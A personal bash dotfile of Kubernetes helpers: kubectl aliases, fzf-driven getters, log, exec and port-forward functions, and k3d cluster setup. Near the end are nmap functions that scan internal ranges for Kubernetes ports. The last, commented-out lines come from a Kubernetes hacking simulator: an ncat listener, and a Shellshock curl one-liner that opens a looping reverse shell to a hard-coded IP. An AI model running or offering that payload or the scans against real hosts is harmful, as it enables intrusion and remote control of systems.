.k8s-helpers

#!/bin/bash
# shellcheck disable=SC2046
# -----------------------------------------------------------------------------
# kubeconfigs and context

# Allow kubectl/kube-rs to use contexts from all kubeconfig files in ~/.kube/
export KUBECONFIG
KUBECONFIG="$(fd . ~/.kube --max-depth 1 --type f | tr '\n' ':')"

# context switcher
kc() {
  # Relies on KUBECONFIG set to colon delimeted list of all kubeconfigs ^
  # Exclude fqdn contexts (rancher-ism).
  kubectl config use-context "$(kubectl config get-contexts -o name | grep -v fqdn | fzf)"
  if ! [[ "${OSTYPE}" =~ "darwin" ]]; then
    pkill -RTMIN+3 waybar # trigger re-render of waybar kc module
  fi
}

# namespace switcher
kns() {
  local -r ns="${1:-$(kubectl get ns --no-headers | choose 0 | fzf)}"
  local -r ctx="$(kubectl config current-context)"
  kubectl config set "contexts.${ctx}.namespace" "${ns}"
}

# -----------------------------------------------------------------------------
# kubernetes aliases

# kubectl
alias k="kubectl"
alias kar="kubectl api-resources"
alias ka="kubectl apply"
alias kdel="kubectl delete"
alias kg="kubectl get"
alias kgy="kubectl get -oyaml"
alias kshell="kubectl run -it --image alpine --restart Never --rm sh"
# kl - fzf kubectl logs (kl fn below)
alias kld="kl deploy"
alias kls="kl service"
alias klsts="kl sts"
alias klds="kl ds"
alias klf="kl"
alias klp="kl pod"
# kubectl get
alias kga="kg all"
alias kgp="kg pod"
alias kgcm="kg cm"
alias kgsec="kg secret"
alias kgd="kg deploy"
alias kgrs="kg rs"
alias kgj="kg job"
alias kgcj="kg cj"
alias kgs="kg service"
alias kgn="kg node"
alias kgsm="kg servicemonitor"
# kubectl describe
alias kdn="kd node"
alias kdp="kd pod"
alias kdcm="kd cm"
alias kdsec="kd secret"
alias kdd="kd deploy"
alias kdrs="kd rs"
alias kdj="kd job"
alias kdcj="kd cj"
alias kds="kd service"
alias kdsm="kd servicemonitor"
# ky - fzf kubectl yaml prettifier
alias kyp="ky pod"
alias kycm="ky cm"
alias kysec="ky secret"
alias kyd="ky deploy"
alias kyrs="ky rs"
alias kyj="ky job"
alias kycj="ky cj"
alias kysm="ky servicemonitor"
alias kys="ky service"
alias kysa="ky sa"
alias kyn="ky node"
alias kyh="ky hpa"
# kpf - fzf port-forward (see below)
alias kpf="kpfs"
# presentation mode
alias kuwuctl="kubectl"

# -----------------------------------------------------------------------------
# kubernetes interactive getters using fzf to pick unspecified args

# Pick a theme for bat because no file extension.
_YAML_BAT_THEME="DarkNeon" # good for yaml and comes with bat

# streamlined yaml viewer (tons of aliases for it in .aliases)
# usage: kg (asks for fuzzy resource, then fuzzy name)
# usage: kg pod (asks for fuzzy name of pod)
# usage: kg svc mysvc (no questions)
ky() {
  local -r resource="${1:-$(kubectl api-resources --no-headers | choose 0 | fzf)}"
  local -r name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
  kubectl get "${resource}" "${name}" -oyaml | bat -l=yaml --plain --theme="${_YAML_BAT_THEME}"
}

# streamlined describe viewer operating the same way as ky
kd() {
  local -r resource="${1:-$(kubectl api-resources --no-headers | choose 0 | fzf)}"
  local -r name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
  kubectl describe "${resource}" "${name}"
}

# log helper that lets you complete container name (if more than one)
kl() {
  local resource="${1:-pod}"
  local name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
  if [[ "$resource" = "pod" ]]; then
    jqpth=".spec.containers"
  elif [[ "$resource" =~ (service|svc) ]]; then
    # If we are getting logs from a service we find a pod matching selectors
    local -r selectorlabels="$(kubectl get svc "${name}" -ojson | \
      jq '.spec.selector | to_entries | .[] | join("=")' -r | \
      sed ':a; N; $!ba; s/\n/,/g')"
    # overwrite name with the first pod name matching
    name="$(kubectl get pod -l "${selectorlabels}" --no-headers | head -1 | choose 0)"
    echo "Showing logs from pod/${name}"
    resource="pod"
    jqpth=".spec.containers" # pod path
  else
    # assume workload path for everything else (last category we support)
    jqpth=".spec.template.spec.containers"
  fi
  local -r data="$(kubectl get "${resource}/${name}" -ojson | jq -ca)"
  if [[ "$(jq "${jqpth} | length" <<< "${data}")" = 1 ]]; then
    container="$(jq "${jqpth}[0].name" -r <<< "${data}")" # use first container
  else
    container="$(jq "${jqpth}[].name" -r <<< "${data}" | fzf)" # user choice
  fi
  kubectl logs -f "${resource}/${name}" "${container}"
}

# port-forward to a service by selecting a ports json entry
kpfs() {
  local -r service="${1:-$(kubectl get service --no-headers | choose 0 | fzf)}"
  local -r spec="$(kubectl get service "${service}" -ojson | jq ".spec")"
  if [ "$(jq ".ports[]" -Mc <<< "${spec}" | wc -l)" -gt 1 ]; then
    portjson="$(jq ".ports[]" -Mc  <<< "${spec}" | fzf --header='pick a port object')"
  else
    portjson="$(jq ".ports[0]" -Mc <<< "${spec}")"
  fi
  local -r port="$(jq ".port" -r <<< "${portjson}")"
  echo "Forwarding to svc/${service}:${port} via local 8000"
  kubectl port-forward "svc/${service}" "8000:${port}"
}

# port-forward to a pod by selecting a ports entry from a ports entry
# will pick ports from the only container, or let you pick container by name
kpfp() {
  local -r pod="${1:-$(kubectl get pod --no-headers | choose 0 | fzf)}"
  local -r data="$(kubectl get pod "${pod}" -ojson)"
  if [[ "$(jq '.spec.containers | length' <<< "${data}")" = 1 ]]; then
    local -r cname="$(jq ".spec.containers[0].name" -r <<< "${data}")"
  else
    local -r cname="$(jq ".spec.containers[].name" -r <<< "${data}" | fzf --header='mutliple containers; please pick one')" # user choice
  fi
  local -r container="$(jq ".spec.containers[] | select(.name==\"${cname}\")" <<< "${data}")"
  if [[ "$(jq ".ports" <<< "${container}")" == "null" ]]; then
    echo "No ports for $(tput bold)${cname}$(tput sgr0) container in $(tput bold)${pod}$(tput sgr0)"
    return 1
  fi
  if [ "$(jq ".ports[]" -Mc <<< "${container}" | wc -l)" -gt 1 ]; then
    portjson="$(jq ".ports[]" -Mc <<< "${container}" | fzf --header="pick a port object")"
  else
    portjson="$(jq ".ports[0]" -Mc <<< "${cname}")"
  fi
  port="$(jq ".containerPort" -r <<< "${portjson}")"
  echo "Forwarding to pod/${pod}:${port} via local 8000"
  kubectl port-forward "${pod}" "8000:${port}"
}

# kubectl exec
ke() {
  local -r pod="${1:-$(kubectl get pod --no-headers | choose 0 | fzf)}"
  local -r data="$(kubectl get pod "${pod}" -ojson)"
  if [[ "$(jq ".spec.containers | length" <<< "${data}")" = 1 ]]; then
    container="$(jq ".spec.containers[0].name" -r <<< "${data}")" # use first container
  else
    container="$(jq ".spec.containers[].name" -r <<< "${data}" | fzf)" # user choice
  fi
  if [[ $(kubectl exec "${pod}" -itc "${container}" -- bash 2>&1) =~ "executable file not found" ]]; then
    kubectl exec "${pod}" -itc "${container}" -- sh
  fi
}

# kubectl events --for shorthand
kev() {
  local -r resource="${1:-$(kubectl api-resources --no-headers | choose 0 | fzf)}"
  local -r name="${2:-$(kubectl get "${resource}" --no-headers | choose 0 | fzf)}"
  kubectl events --for "${resource}/${name}"
}

# -----------------------------------------------------------------------------
# k3d setup helpers

k3dmake() {
  local -r name="$1"
  local -r version="$2"
  shift
  shift
  local -r latest_minor="$(k3d version ls k3s -i "v$version\..*-k3s1$" -l 1)"
  # NB: ports and --no-lb clash and causes nodefilter requirements (TODO: add back --no-lb once it works)
  # TODO: -p 10250:10250 for kubelet debug interface
  # shellcheck disable=SC2068
  (set -x;
  k3d cluster create "${name}" --servers 1 --registry-create "${name}" \
    --no-rollback \
    --image="rancher/k3s:${latest_minor}" \
    $@ \
    --k3s-arg "--disable=traefik,servicelb,metrics-server@server:*" \
    --k3s-arg '--kubelet-arg=eviction-hard=imagefs.available<1Gi,nodefs.available<Gi@agent:*' \
    --k3s-arg '--kubelet-arg=eviction-minimum-reclaim=imagefs.available=1Gi,nodefs.available=1Gi@agent:*'
  )
  k3d kubeconfig get --all > ~/.kube/k3d
}
# recent feature additions
k3dwatchlist() {
  echo -e "--k3s-arg --kube-apiserver-arg=feature-gates=WatchList=true@server:*"
}

k3dmake24() { k3dmake "24" "1.24"; }
k3dmake25() { k3dmake "25" "1.25"; }
k3dmake26() { k3dmake "26" "1.26"; }
k3dmake27() { k3dmake "27" "1.27" $(k3dwatchlist); }
k3dmake28() { k3dmake "28" "1.28" $(k3dwatchlist); }
k3dmake29() { k3dmake "29" "1.29" $(k3dwatchlist); }
k3dmake30() { k3dmake "30" "1.30" $(k3dwatchlist); }

# -----------------------------------------------------------------------------
# misc kubernetes helpers

kevictdel() {
  # NB: status.reason=Evicted is not an allowed field selector..
  # => have to either pipe through a filter, or use Failed as an approximation:
  #kubectl delete pod --field-selector 'status.phase=Failed'
  kubectl get pods | awk '/Evicted/ {print $1}' | xargs kubectl delete pod
}

kfailing() {
  #shellcheck disable=SC2068
  kubectl get pods --field-selector="status.phase!=Succeeded,status.phase!=Running" --no-headers $@
}

# find things left in namespace that kubectl get all might not find
kleftovers() {
  kubectl api-resources --verbs=list --namespaced -o name \
  | xargs -n 1 kubectl get --show-kind --ignore-not-found
}

# find crds without instances
kcrdunused() {
  # shellcheck disable=SC2016
  kubectl get crds -o jsonpath='{.items[*].metadata.name}' | tr ' ' '\n' | \
    xargs -P16 -I "{}" sh -c '[ "$(kubectl get {} --no-headers -A 2> /dev/null | wc -l)" -eq 0 ] && echo "{}"'
}

# check versions in all contexts
kcver() {
  for ctx in $(kubectl config get-contexts -o name | grep -v fqdn); do
    kubectl config use-context "${ctx}" > /dev/null
    # hide unavoidable version skew warning
    echo "${ctx} :: $(kubectl version -ojson 2> /dev/null | jq '.serverVersion.gitVersion' -r)"
  done
}

nmap-kube () {
    nmap --open -T4 -A -v -Pn -p 443,2379,4194,6782-6784,6443,8443,8080,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
    local -r LOCAL_RANGE="$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,')"
    local SERVER_RANGES=" ";
    SERVER_RANGES+="10.0.0.1 ";
    SERVER_RANGES+="10.0.1.* ";
    SERVER_RANGES+="10.*.0-1.* ";
    nmap-kube "${SERVER_RANGES}" "${LOCAL_RANGE}"
}

# stuff via bulletproof kubernetes hacking
# https://www.youtube.com/watch?v=NEfwUxId1Uk
# https://github.com/kubernetes-simulator/simulator
#while :; do ssh controlplane ncat --listen 1234 --output $(mktemp /tmp/hack-XXXX.log); done

# shellshock as a service https://github.com/hmlio/vaas-cve-2014-6271
# continuous dev/tcp hackery via shellshock:
#while :; do curl http://165.22.113.204:30081/cgi-bin/stats  -H 'user-agent: () { :; }; echo; echo; 2>&1 /bin/bash -c "while :; do nohup bash -i >& /dev/tcp/149.202.164.115/1234 0>&1; sleep 1; done"'; done